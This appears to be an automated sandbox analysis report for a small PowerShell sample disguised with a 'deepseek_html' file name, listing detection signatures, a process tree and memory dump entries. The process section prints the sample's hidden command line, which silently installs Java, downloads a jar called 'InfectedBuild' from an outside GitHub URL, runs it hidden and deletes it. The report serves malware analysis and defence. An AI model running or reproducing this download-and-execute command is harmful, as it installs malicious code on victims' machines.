Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/08/2026, 20:02
General
- Target deepseek_html_20260810_a1b86a.ps1
- Size 572B
- Sample260810-ysbstsssht
- SHA256 eead325fc96e14b646feb0e1e613c00823de46d5a900d286f1094d8cc057e2e2
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\deepseek_html_20260810_a1b86a.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command ='https://download.oracle.com/java/21/latest/jdk-21_windows-x64_bin.exe';=\ "C:\Users\Admin\AppData\Local\Temp\jinst.exe\;iwr -OutFile ;Start-Process -Wait -FilePath -ArgumentList '/s INSTALLDIR=C:\ScarJava' -NoNewWindow;ri -Force;='https://raw.githubusercontent.com/123-droid55/InfectedBuild/main/InfectedBuild-1.21.jar';=\C:\Users\Admin\Downloads\InfectedBuild-1.21.jar\;iwr -OutFile ;Start-Process -FilePath 'C:\ScarJava\bin\java.exe' -ArgumentList \-jar" "\\\ -WindowStyle Hidden;Start-Sleep -Seconds 60;ri -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3704-12-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/3704-18-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/3704-3-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/3704-5-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/3704-6-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/3704-7-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/3704-4-0x0000023433490000-0x00000234334B2000-memory.dmp
memory/3704-8-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/3704-0-0x00007FFEBC44F000-0x00007FFEBC450000-memory.dmp
memory/3704-11-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/4840-13-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/4840-15-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/4840-16-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/4840-17-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/4840-14-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp
memory/4840-20-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp